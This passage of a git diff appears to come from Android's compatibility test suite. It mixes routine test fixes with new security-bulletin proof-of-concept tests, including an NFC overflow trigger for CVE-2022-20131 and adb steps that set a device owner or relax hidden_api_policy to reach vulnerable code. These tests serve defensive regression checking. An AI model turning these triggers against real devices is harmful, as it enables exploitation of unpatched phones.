allowedMessages.addAll(expectedMessages);
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ device.reboot();
/* Monitor CEC messages for 20s after reboot */
final List<CecOperand> messagesReceived =
hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
@@ -108,8 +106,7 @@
List<CecOperand> expectedMessages = Arrays.asList(CecOperand.REPORT_PHYSICAL_ADDRESS,
CecOperand.REPORT_FEATURES);
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ device.reboot();
/* Monitor CEC messages for 20s after reboot */
final List<CecOperand> messagesReceived =
hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
index 8d89035..a368bdf 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
@@ -219,6 +219,10 @@
for (int i = 0; i < 4; i++) {
codecs.add(CecMessage.getParams(requestSad1, 2 * i, 2 * i + 2));
}
+ // The first SAD query needs to be replied to, in order for the second query to be sent
+ // as well.
+ hdmiCecClient.sendCecMessage(LogicalAddress.AUDIO_SYSTEM, CecOperand.FEATURE_ABORT,
+ CecMessage.formatParams("A403"));
String requestSad2 = hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM,
CecOperand.REQUEST_SHORT_AUDIO_DESCRIPTOR);
for (int i = 0; i < 2; i++) {
diff --git a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
index e372fb9..7dc4015 100644
--- a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
+++ b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
@@ -21,7 +21,7 @@
import android.util.Log;
/**
- * A simple activity which triggers libneuralnetworks.so to push WestWorld atoms.
+ * A simple activity which triggers libneuralnetworks.so to push statsd atoms.
*/
public class NnapiDeviceActivity extends Activity {
private static final String TAG = NnapiDeviceActivity.class.getSimpleName();
@@ -33,7 +33,7 @@
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
- Log.i(TAG, "Triggering libneuralnetworks.so to push WestWorld atoms.");
+ Log.i(TAG, "Triggering libneuralnetworks.so to push statsd atoms.");
trigger_libneuralnetworks_atoms();
}
diff --git a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
index a26de84..d6fb65e 100644
--- a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
+++ b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
@@ -40,6 +40,8 @@
private static final String PACKAGE_TEST_APP = "android.dynamicmime.testapp";
private static final String PACKAGE_REBOOT_TESTS = PACKAGE_TEST_APP + ".reboot";
+ private static final int SETTINGS_WRITE_TIMEOUT_MS = 10_000;
+
@Test
public void testGroupWithExactType() throws DeviceNotAvailableException {
runTestWithReboot("SingleAppTest", "testGroupWithExactType");
@@ -213,6 +215,7 @@
private void runTestWithReboot(String testClassName, String testMethodName)
throws DeviceNotAvailableException {
runPreReboot(testClassName, testMethodName);
+ waitForSettingsWrite();
getDevice().reboot();
runPostReboot(testClassName, testMethodName);
}
@@ -223,6 +226,13 @@
testMethodName);
}
+ private void waitForSettingsWrite() {
+ try {
+ Thread.sleep(SETTINGS_WRITE_TIMEOUT_MS);
+ } catch (InterruptedException ignored) {
+ }
+ }
+
private void runPreReboot(String testClassName, String testMethodName)
throws DeviceNotAvailableException {
runDeviceTests(PACKAGE_TEST_APP, PACKAGE_REBOOT_TESTS + ".PreReboot" + testClassName,
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
index c3423bc..961f569 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
@@ -34,6 +34,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -147,6 +148,7 @@
@LargeTest
@Test
+ @Ignore("b/229901433")
public void testOnPackageLoadingProgressChangedCalledWithPartialLoaded() throws Exception {
assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
"testOnPackageLoadingProgressChangedCalledWithPartialLoaded"));
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
index 1a69e49..fe0d1c2 100644
--- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
@@ -46,10 +46,6 @@
if (!Utils.hasIncrementalFeature(getDevice())) {
return;
}
- // TODO(b/197784344): remove when the metrics supports multi-user
- if (getDevice().isUserSecondary(getDevice().getCurrentUser())) {
- return;
- }
ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
AtomsProto.Atom.INSTALLED_INCREMENTAL_PACKAGE_FIELD_NUMBER);
installPackageUsingIncremental(new String[]{TEST_INSTALL_APK});
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index e760732..17edaae 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -21,8 +21,7 @@
manifest: "ScopedStorageTestHelper/TestAppA.xml",
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
@@ -54,8 +53,7 @@
manifest: "ScopedStorageTestHelper/TestAppB.xml",
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
@@ -71,8 +69,7 @@
manifest: "ScopedStorageTestHelper/TestAppC.xml",
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
@@ -136,8 +133,7 @@
manifest: "ScopedStorageTestHelper/TestAppFileManager.xml",
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
@@ -153,8 +149,7 @@
manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml",
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
@@ -170,8 +165,7 @@
manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml",
static_libs: ["cts-scopedstorage-lib"],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
@@ -232,8 +226,7 @@
"cts",
],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
java_resources: [
":CtsScopedStorageTestAppA",
@@ -283,6 +276,15 @@
"cts",
],
test_config: "CoreTest.xml",
+ data: [
+ ":CtsScopedStorageTestAppA31",
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":ScopedStorageTest",
+ ":LegacyStorageTest",
+ ],
+ per_testcase_directory: true,
}
java_test_host {
@@ -303,7 +305,13 @@
"cts",
],
test_config: "AndroidTest.xml",
+ per_testcase_directory: true,
data: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":ScopedStorageTest",
+ ":LegacyStorageTest",
":CtsLegacyStorageTestAppRequestLegacy",
":CtsLegacyStorageTestAppPreserveLegacy",
],
@@ -363,6 +371,7 @@
"truth-prebuilt",
"cts-scopedstorage-lib",
"androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
],
compile_multilib: "both",
test_suites: [
@@ -371,8 +380,7 @@
"cts",
],
sdk_version: "test_current",
- //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
- target_sdk_version: "10000",
+ target_sdk_version: "33",
min_sdk_version: "30",
libs: [
"android.test.base",
@@ -391,4 +399,11 @@
":CtsScopedStorageTestAppSystemGalleryBypassDB",
":CtsScopedStorageTestAppSystemGallery30BypassDB",
],
+ data: [
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppDLegacy",
+ ],
+ per_testcase_directory: true,
}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 1a3bff9..6a65c5b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -19,7 +19,6 @@
import static android.app.AppOpsManager.permissionToOp;
import static android.os.ParcelFileDescriptor.MODE_CREATE;
import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
-import static android.os.SystemProperties.getBoolean;
import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
@@ -108,6 +107,7 @@
import static android.system.OsConstants.W_OK;
import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -143,6 +143,7 @@
import androidx.test.filters.SdkSuppress;
import com.android.cts.install.lib.TestApp;
+import com.android.modules.utils.build.SdkLevel;
import com.google.common.io.Files;
@@ -920,7 +921,7 @@
try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
assertRWR(readPfd, writePfd);
- assertLowerFsFdWithPassthrough(writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
}
} finally {
file.delete();
@@ -956,7 +957,7 @@
try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
assertRWR(readPfd, writePfd);
- assertLowerFsFdWithPassthrough(readPfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
}
} finally {
file.delete();
@@ -976,8 +977,8 @@
ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
assertRWR(readPfd, writePfd);
assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
- assertLowerFsFdWithPassthrough(writePfd);
- assertLowerFsFdWithPassthrough(readPfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
}
} finally {
file.delete();
@@ -1001,7 +1002,7 @@
writePfd.close();
assertRWR(readPfd, writePfdDup);
- assertLowerFsFdWithPassthrough(writePfdDup);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
}
} finally {
file.delete();
@@ -1263,12 +1264,18 @@
@Test
public void testReadStorageInvalidation() throws Exception {
- testAppOpInvalidation(
+ if (SdkLevel.isAtLeastT()) {
+ testAppOpInvalidation(
APP_C,
new File(getDcimDir(), "read_storage.jpg"),
Manifest.permission.READ_MEDIA_IMAGES,
AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
/* forWrite */ false);
+ } else {
+ testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+ }
}
@Test
@@ -3340,8 +3347,13 @@
assertStartsWith(path, prefix);
}
- private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
- if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+ private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+ throws Exception {
+ final ContentResolver resolver = getTargetContext().getContentResolver();
+ final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+ boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+ if (passthroughEnabled) {
assertUpperFsFd(pfd);
} else {
assertLowerFsFd(pfd);
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 3ccd54f..0670639 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -64,6 +64,7 @@
import com.android.cts.install.lib.InstallUtils;
import com.android.cts.install.lib.TestApp;
import com.android.cts.install.lib.Uninstall;
+import com.android.modules.utils.build.SdkLevel;
import com.google.common.io.ByteStreams;
@@ -588,9 +589,11 @@
assertThat(InstallUtils.getInstalledVersion(packageName)).isEqualTo(1);
if (grantStoragePermission) {
grantPermission(packageName, Manifest.permission.READ_EXTERNAL_STORAGE);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
- grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+ if (SdkLevel.isAtLeastT()) {
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_IMAGES);
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_AUDIO);
+ grantPermission(packageName, Manifest.permission.READ_MEDIA_VIDEO);
+ }
}
} finally {
uiAutomation.dropShellPermissionIdentity();
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/Android.bp
new file mode 100644
index 0000000..c8c79c0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/Android.bp
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2022-20131",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/poc.cpp
new file mode 100644
index 0000000..29ca974
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2022-20131/poc.cpp
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#include <nfc_int.h>
+#include <rw_int.h>
+
+constexpr size_t kBufferSize = 16;
+char enable_selective_overload = ENABLE_NONE;
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+void poc_cback(tRW_EVENT, tRW_DATA*) {
+}
+
+int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = { };
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ GKI_init();
+ rw_init();
+ uint16_t bufLen = 0;
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t* buffer = (uint8_t*)malloc(sizeof(uint8_t) * kBufferSize);
+ FAIL_CHECK(buffer);
+ uint8_t* buffer_ptr = buffer;
+ buffer = buffer + kBufferSize;
+
+ isTestInProgress = true;
+ nfc_ncif_proc_ee_discover_req(buffer, bufLen);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ isTestInProgress = false;
+
+ free(buffer_ptr);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
new file mode 100644
index 0000000..415e2b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -0,0 +1,68 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import android.platform.test.annotations.AsbSecurityTest;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_30351 extends SecurityTestCase {
+
+ /**
+ * CVE-2021-30351
+ */
+ @AsbSecurityTest(cveBugId = 201430561)
+ @Test
+ public void testPocCVE_2021_30351() throws Exception {
+ final int SLEEP_INTERVAL_MILLISEC = 5 * 1000;
+ String apkName = "CVE-2021-30351.apk";
+ String appPath = AdbUtils.TMP_PATH + apkName;
+ String packageName = "android.security.cts.CVE_2021_30351";
+ ITestDevice device = getDevice();
+
+ try {
+ /* Push the app to /data/local/tmp */
+ pocPusher.appendBitness(false);
+ pocPusher.pushFile(apkName, appPath);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ /* Install the application */
+ AdbUtils.runCommandLine("pm install " + appPath, device);
+
+ /* Start the application */
+ AdbUtils.runCommandLine("am start -n " + packageName + "/.MainActivity", getDevice());
+ Thread.sleep(SLEEP_INTERVAL_MILLISEC);
+ } catch (Exception e) {
+ e.printStackTrace();
+ } finally {
+ /* Un-install the app after the test */
+ AdbUtils.runCommandLine("pm uninstall " + packageName, device);
+
+ /* Check if media.codec has crashed thereby indicating the presence */
+ /* of the vulnerability */
+ String logcat = AdbUtils.runCommandLine("logcat -d", device);
+ AdbUtils.assertNoCrashes(getDevice(), "media.codec");
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
index e2d88bd..cd8afef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -16,42 +16,54 @@
package android.security.cts;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.After;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
- public static final int USER_ID = 0;
- static final String TEST_APP = "CVE-2021-39706.apk";
- static final String TEST_PKG = "android.security.cts.CVE_2021_39706";
- static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver";
-
- @After
- public void tearDown() throws Exception {
- // Remove Device Admin Component
- AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/"
- + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice());
- }
@AsbSecurityTest(cveBugId = 200164168)
@Test
- public void testPocCVE_2021_39706() throws Exception {
- ITestDevice device = getDevice();
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage(TEST_APP, "-t");
- // Set Device Admin Component
- AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/"
- + TEST_DEVICE_ADMIN_RECEIVER + "'", device);
- runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset");
+ public void testPocCVE_2021_39706() {
+ final int userId = 0;
+ final String testApp = "CVE-2021-39706.apk";
+ final String testPkg = "android.security.cts.CVE_2021_39706";
+ final String testClass = testPkg + "." + "DeviceTest";
+ final String testDeviceAdminReceiver = testPkg + ".PocDeviceAdminReceiver";
+ boolean cmdResult = false;
+ try {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(testApp, "-t");
+ // Set Device Admin Component
+ String result = AdbUtils.runCommandLine("dpm set-device-owner --user " + userId + " '"
+ + testPkg + "/" + testDeviceAdminReceiver + "'", device);
+ cmdResult = result.startsWith("Success");
+ assumeTrue("Device admin not set", cmdResult);
+ runDeviceTests(testPkg, testClass, "testCredentialReset");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (cmdResult) {
+ // Remove Device Admin Component
+ AdbUtils.runCommandLine("dpm remove-active-admin --user " + userId + " '"
+ + testPkg + "/" + testDeviceAdminReceiver + "'", getDevice());
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
new file mode 100644
index 0000000..ee835f5
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39797.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39797 extends StsExtraBusinessLogicHostTestBase {
+
+ @AsbSecurityTest(cveBugId = 209607104)
+ @Test
+ public void testPocCVE_2021_39797() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2021_39797_test";
+ final String targetPkg = "android.security.cts.CVE_2021_39797_target";
+ uninstallPackage(device, testPkg);
+ uninstallPackage(device, targetPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2021-39797-test.apk");
+ installPackage("CVE-2021-39797-target.apk");
+ String previous = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
+
+ /* Set the property hidden_api_policy to 1 in order to access the vulnerable function
+ getMainActivityLaunchIntent of class LauncherApps */
+ AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testTaskOverride");
+
+ /* Restore the property hidden_api_policy to its previous value */
+ AdbUtils.runCommandLine("settings put global hidden_api_policy " + previous, device);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
new file mode 100644
index 0000000..47ea7ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20007.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
